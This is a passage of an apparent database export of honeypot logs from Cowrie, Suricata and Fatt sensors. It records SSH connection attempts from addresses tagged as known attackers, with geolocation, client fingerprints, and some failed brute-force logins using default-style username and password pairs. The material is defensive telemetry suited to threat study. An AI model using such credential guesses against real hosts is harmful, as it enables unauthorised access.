"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39990, "timestamp": "2021-09-20T11:08:58.613574", "@timestamp": "2021-09-20T11:08:58.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24610	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:08:58.608124+03	2021-09-20 14:15:09.021501+03	{"_id": "tQblAnwBvYTbRNuEExQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:39990 (192.168.176.2:22) [session: e8e37dd02033]", "session": "e8e37dd02033", "@version": "1", "protocol": "ssh", "src_port": 39990, "dest_port": 22, "timestamp": "2021-09-20T11:08:58.608124Z", "@timestamp": "2021-09-20T11:08:58.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24611	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:58.434581+03	2021-09-20 14:15:09.023503+03	{"_id": "uwblAnwBvYTbRNuEExQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5cdb690ff84f", "@version": "1", "timestamp": "2021-09-20T11:08:58.434581Z", "@timestamp": "2021-09-20T11:08:58.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24612	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:58.493186+03	2021-09-20 14:15:09.0245+03	{"_id": "vAblAnwBvYTbRNuEExQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [openfiler/password] failed", "session": "9c892865c6e1", "@version": "1", "password": "password", "username": "openfiler", "timestamp": "2021-09-20T11:08:58.493186Z", "@timestamp": "2021-09-20T11:08:58.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24613	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:08:58.611308+03	2021-09-20 14:15:09.025497+03	{"_id": "vQblAnwBvYTbRNuEExQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e8e37dd02033", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:08:58.611308Z", "@timestamp": "2021-09-20T11:08:58.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24615	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:59.303157+03	2021-09-20 14:15:09.028471+03	{"_id": "vwblAnwBvYTbRNuEExQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [rsync/rsync] failed", "session": "f235c3580598", "@version": "1", "password": "rsync", "username": "rsync", "timestamp": "2021-09-20T11:08:59.303157Z", "@timestamp": "2021-09-20T11:08:59.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24616	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:59.323076+03	2021-09-20 14:15:09.029471+03	{"_id": "wAblAnwBvYTbRNuEExQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "893263172587", "@version": "1", "timestamp": "2021-09-20T11:08:59.323076Z", "@timestamp": "2021-09-20T11:08:59.323Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24617	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:08:59.945604+03	2021-09-20 14:15:09.0305+03	{"_id": "wQblAnwBvYTbRNuEFRRU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 531132496705431, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51592, "dest_port": 22, "timestamp": "2021-09-20T11:08:59.945604Z", "@timestamp": "2021-09-20T11:08:59.945Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24618	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:59.688111+03	2021-09-20 14:15:09.031507+03	{"_id": "wwblAnwBvYTbRNuEFhRK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51592, "timestamp": "2021-09-20T11:08:59.688111", "@timestamp": "2021-09-20T11:08:59.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24619	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:08:59.945785+03	2021-09-20 14:15:09.0335+03	{"_id": "wgblAnwBvYTbRNuEFhRK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 51592, "dest_port": 22, "timestamp": "2021-09-20T11:08:59.945785", "@timestamp": "2021-09-20T11:08:59.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24620	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:59.579084+03	2021-09-20 14:15:09.0345+03	{"_id": "zgblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:56278 (192.168.176.2:22) [session: 30dc33486cbf]", "session": "30dc33486cbf", "@version": "1", "protocol": "ssh", "src_port": 56278, "dest_port": 22, "timestamp": "2021-09-20T11:08:59.579084Z", "@timestamp": "2021-09-20T11:08:59.579Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24621	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:08:59.683825+03	2021-09-20 14:15:09.0355+03	{"_id": "zwblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:51592 (192.168.176.2:22) [session: d0f4216f9eca]", "session": "d0f4216f9eca", "@version": "1", "protocol": "ssh", "src_port": 51592, "dest_port": 22, "timestamp": "2021-09-20T11:08:59.683825Z", "@timestamp": "2021-09-20T11:08:59.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24622	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:59.965761+03	2021-09-20 14:15:09.036505+03	{"_id": "0AblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:41676 (192.168.176.2:22) [session: 48228b0a83c1]", "session": "48228b0a83c1", "@version": "1", "protocol": "ssh", "src_port": 41676, "dest_port": 22, "timestamp": "2021-09-20T11:08:59.965761Z", "@timestamp": "2021-09-20T11:08:59.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24623	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:00.145541+03	2021-09-20 14:15:09.037504+03	{"_id": "0QblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:51558 (192.168.176.2:22) [session: 941036954566]", "session": "941036954566", "@version": "1", "protocol": "ssh", "src_port": 51558, "dest_port": 22, "timestamp": "2021-09-20T11:09:00.145541Z", "@timestamp": "2021-09-20T11:09:00.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24624	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:59.506293+03	2021-09-20 14:15:09.03949+03	{"_id": "zAblAnwBvYTbRNuEFhTo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5c93443003b2", "@version": "1", "duration": 2.7529032230377197, "timestamp": "2021-09-20T11:08:59.506293Z", "@timestamp": "2021-09-20T11:08:59.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24625	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:08:59.686346+03	2021-09-20 14:15:09.0405+03	{"_id": "2gblAnwBvYTbRNuEFhTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "d0f4216f9eca", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:08:59.686346Z", "@timestamp": "2021-09-20T11:08:59.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
